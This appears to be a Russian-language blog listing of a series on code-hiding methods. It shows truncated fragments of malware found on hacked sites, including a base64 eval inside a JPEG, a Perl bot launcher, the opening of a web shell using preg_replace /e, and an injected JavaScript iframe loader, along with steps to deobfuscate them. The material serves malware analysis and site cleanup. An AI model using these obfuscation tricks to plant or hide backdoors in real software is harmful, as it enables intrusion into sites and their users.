Скрытие кода, метод 10: почти стеганография

Получил от клиента жалобу, что антивирус ругается на… картинки! Сначала я проверил все файлы .htaccess, ничего подозрительного. Затем сами файлы картинок (jpg) командой file – нормальные файлы изображений в формате JPEG. Затем открыл файл (по ссылке) в браузере – обычная картинка (мой антивирус не проверяет изображения на предмет вирусов, а зачем?). Бред какой-то… Тогда я открыл файл в текстовом редакторе – ух ты! А вот и вредительский код:

eval(base64_decode('aWYg...kpO30='));

Что этот код делает в графическом файле? Как он туда попал?

Технические детали

Сайт раньше регулярно взламывали (старый движок Joomla – это зло), после очередного взлома я просто заблокировал все .htaccess- и php-файлы для записи или изменений, обновил плагин mce и взломы прекратились. Последний взлом был года два назад. Примерно в то же время специалист компании Sucuri обнаружил новый вид бэкдоров, скрытый в изображениях.

Читать остальную часть заметки »

Теги: , , , , , , , ,

Скрытие кода, метод 9

Этот метод популярен у ботоводов (т.е. распространителей perl-ботов), зашифрованный код передается непосредственно процессу Perl, запускаемому функцией popen():

error_reporting( 1 );
global $HTTP_SERVER_VARS;
if (@is_resource( $f = @popen( 'perl - E54POCH', "w" ) )) {
	@fwrite( $f, 'eval( pack( "H*", "6368...7d20" ) );eval( pack( "H*", "7573...353b"));' );
	@fflush( $f );
	sleep( 1 );
	@pclose( $f );
	echo "RUN OK";
} else {
	echo "RUN FALSE";
};
Читать остальную часть заметки »

Теги: , , , , , , , ,

Скрытие кода, метод 8

<?php # Web Shell by oRb
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66
\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F
\x64\x65\x28'5b1pdx...Kn6fwE='\x29\x29\x29\x3B",".");?>

Чертовски гениально!) preg_replace ничего не заменяет, а просто выполняет роль eval(), выполняя весь код из второго аргумента!

pattern

Искомый шаблон. Может быть как строкой, так и массивом строк.

Также доступны некоторые модификаторы PCRE, включая ‘e‘ (PREG_REPLACE_EVAL), специфичный только для этой функции.

Раскодировать символы вида “\x65” можно двумя способами:

Читать остальную часть заметки »

Теги: , , , , , , ,

Скрытие кода, метод 7

Следующих код был взят из двух файлов, залитых на взломанный сайт. В каждом из файлов код состоял из трех блоков. Первый блок был почти одинаковым, массив функций, закодированный в base64:

$GLOBALS['_482181972_'] = Array(
    base64_decode( 'Z' .'mlsZ' .'V9' .'nZ' .'XRfY29u' .'dGV' .'udHM' .'=' ),
// file_get_contents
    base64_decode( 'c3Ry' .'c' .'G' .'9z' ), // strpos
    base64_decode( 'ZmlsZW10' .'a' .'W' .'1l' ), // filemtime
    base64_decode( 'Zm9wZW4=' ), // fopen
    base64_decode( 'Z' .'ndyaXRl' ), // fwrite
    base64_decode( '' .'ZmN' .'sb3Nl' ), // fclose
    base64_decode( 'dG91Y2g=' ) // touch
);

Различие было в том, что в каждой закодированной строке случайным образом было вставлено “’ .’”. Это исключает поиск в файлах по строке – функции, закодированной в base64.

Читать остальную часть заметки »

Теги: , , , , , , ,

Скрытие кода, метод 6: ionCube HTML obfuscator

На сайте ionCube случайно заметил бесплатную плюшку – Free Obfuscating HTML Encoder. Захотелось посмотреть и раскодировать)

Закодированная страница в примере на сайте выглядит следующим образом:

<script language=javascript>
c="e66x75...Y7dF7d"; // [1] first long string
eval(unescape("%64%3d...%22%3b")); // [2] second long string
x("C3Bomk...4ApQkS"); // [3] third long string
</script>

В оригинале весь код располагается в одну строку. В строке #4 вызов неизвестной функции, по всей видимости, она находится в блоке с eval и ее нужно раскрыть. Логично предположить, что тело страницы (контент) находится непосредственно в строке, передаваемой этой функции.

1. Убираем eval и помещаем все в textarea или смотрим через alert:

document.write( "<textarea>" );
document.write( unescape("%64%3d...%22%3b") );
document.write( "</textarea>" );
Читать остальную часть заметки »

Теги: , , , , , , ,

Скрытие кода, метод 5

Следующий код был выдран из тела страницы взломанного сайта, этот javascript вставлял небольшой фрейм (сразу покажу причесанный вид, изначально все было в одну строку и без пробелов, пугающе 🙂 ):

var s = '';
  try { new asd[0]
}
catch (q) {
  if (q) r = 1;
  c = String;
}
if (r && document.createTextNode) t = 2;
e = eval;
m = [4.5*t,18/t,52.5*t,204/t,16*t,80/t,...,4.5*t,18/t,62.5*t]; // здесь очень длинная строка
mm = c['fro'+'mCharCode'];
for (i = 0; i != m.length; i++) s += mm( e( "m" + "[" + "i" + ']' ) );
try {
  document.appendChild( null )
}
catch (q) {
  e( s );
}

На первый взгляд все крайне запутано и сложно, java-скрипты я пишу/читаю редко, поэтому сразу слегка даже растерялся. В причесанном коде выделил понятные места и довел все до понимания.

mm = c['fro'+'mCharCode'];

c – обозначает строку (String), т.е. переменной mm будет присвоена строка fromCharCode и mm будет выполнять роль этой функции.

mm( e( "m" + "[" + "i" + ']') );
// равносильно
String.fromCharCode( eval( "m[i]" ) );

это значит, что все арифметические выражения в массиве m будут подсчитаны, затем коды переведены в символы функцией fromCharCode и посимвольно в цикле внесены в строку s.

Результирующий код для расшифровки:

Читать остальную часть заметки »

Теги: , , , , , , , ,

Скрытие кода, метод 4

Взято из демо-версии DLE:

<?php $_F=__FILE__;$_X='STRING=';$_D=strrev('edoced_46esab');eval($_D('STRING2=='));?>

В коде бросаются в глаза две длиннющие строки в base64, раскодировать “в лоб” можно только вторую, там содержится кусок кода для дешифрации первой строки (STRING=). Причесанный вид файла:

$_F = __FILE__;
$_X = 'STRING=';
$_D = strrev( 'edoced_46esab' );
eval( $_D( 'STRING2==' ) );

edoced_46esab – это всего лишь перевертыш base64_decode. Вторая строка (STRING2==) после раскодировки и причесывания:

$_X = base64_decode( $_X );
$_X = strtr( $_X, 'STR1', 'STR2' );
$_R = str_replace( '__FILE__', "'".$_F."'", $_X );
eval( $_R );
$_R = 0;
$_X = 0;

Опять eval, от которого нужно избавиться. Собственно, интерес представляют только 2 и 3 строки. Дальше, общая раскодировка выглядит так:

$_F = __FILE__;
$_X = 'STRING=';
$_X = base64_decode( $_X );
$_Y = 'STRING2==';
$_Y = base64_decode( $_Y );
$_P = array(); // массив строк, которые будут вырезаны
$_P[0] = '$_X=base64_decode($_X);';
$_P[1] = 'eval($_R);$_R=0;$_X=0;';
$_Y = str_replace($_P, '', $_Y);
eval($_Y);
echo $_X;

Теги: , , , , , , ,